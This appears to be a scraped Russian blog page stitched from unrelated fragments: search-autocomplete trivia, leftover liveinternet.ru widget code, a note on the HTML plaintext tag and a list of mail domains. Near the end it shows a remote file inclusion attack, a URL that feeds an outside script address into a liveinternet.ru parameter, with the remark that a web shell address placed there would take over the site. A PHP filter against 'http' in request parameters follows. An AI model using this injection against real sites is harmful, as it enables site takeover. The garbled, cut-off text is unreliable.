Когда в окне поиска Google.ru и Yandex.ru набираешь текст - умная искалка подсказывает наиболее очевидные, с её механической точки зрения, запросы.
Дмитрия Вернера (да, того самого), решил поиграться с поисковиками и составить свою азбуку, только взять на этот раз латинский алфавит. Вот что показывают подсказки Google и Yandex при наборе первой буквы:
[показать]
[показать]
[показать]
code:
http://www.liveinternet.ru/static/videoblock.html
code:
www.liveinternet.ru#div(ALL_FTR_TLBR)
ru_antidogma (цитата: АНТИ ДОГМА — это сообщество о социальной, духовной и моральной адаптации лесбигеев и трансгендеров), в результате чего нас посетило более сотни человек, хотя обычно два-три в сутки бывает.
[500x144]
[показать] И это при том, что все примеры у них на Perl написаны. Старенький тег, который в современных стандартах не рекомендуется к использованию, заслуженно называется монстром HTML - все что идет после него браузерами будет отображаться как обычный текст, включая любые теги и спецсимволы. Действие этого тега нельзя отменить никаким другим и закрывающего для него тоже не существует.
| narod.ru land.ru nightmail.ru newmail.ru hotmail.ru nm.ru | pochta.ru fromru.com front.ru hotbox.ru krovatka.su mail15.com | mail333.com pisem.net pochtamt.ru pop3.ru rbcmail.ru smtp.ru |
http://www.liveinternet.ru/im.php?_userid=971можно попробовать несколько изменить и посмотреть что будет, вот так:
http://www.liveinternet.ru/im.php?_userid=http://sixbillion.org/3/guj/egoqivi/По адресу http://sixbillion.org/3/guj/egoqivi/ сейчас лежит довольно простенький скрипт, содержащий в себе строкуАтака будет считаться успешной, если скрипт выполнится и в полученную страницу будет вставлен результат его работы - пока просто строчка из 32 символов. Следующим шагом достаточно в тот же самый уязвимый параметр подставить адрес шелла (программы, для управления сайтом) и сайтик ваш.
foreach ($_GET as $key => $param)
{
if (preg_match("/http/i", strval($param))) die("Error");
}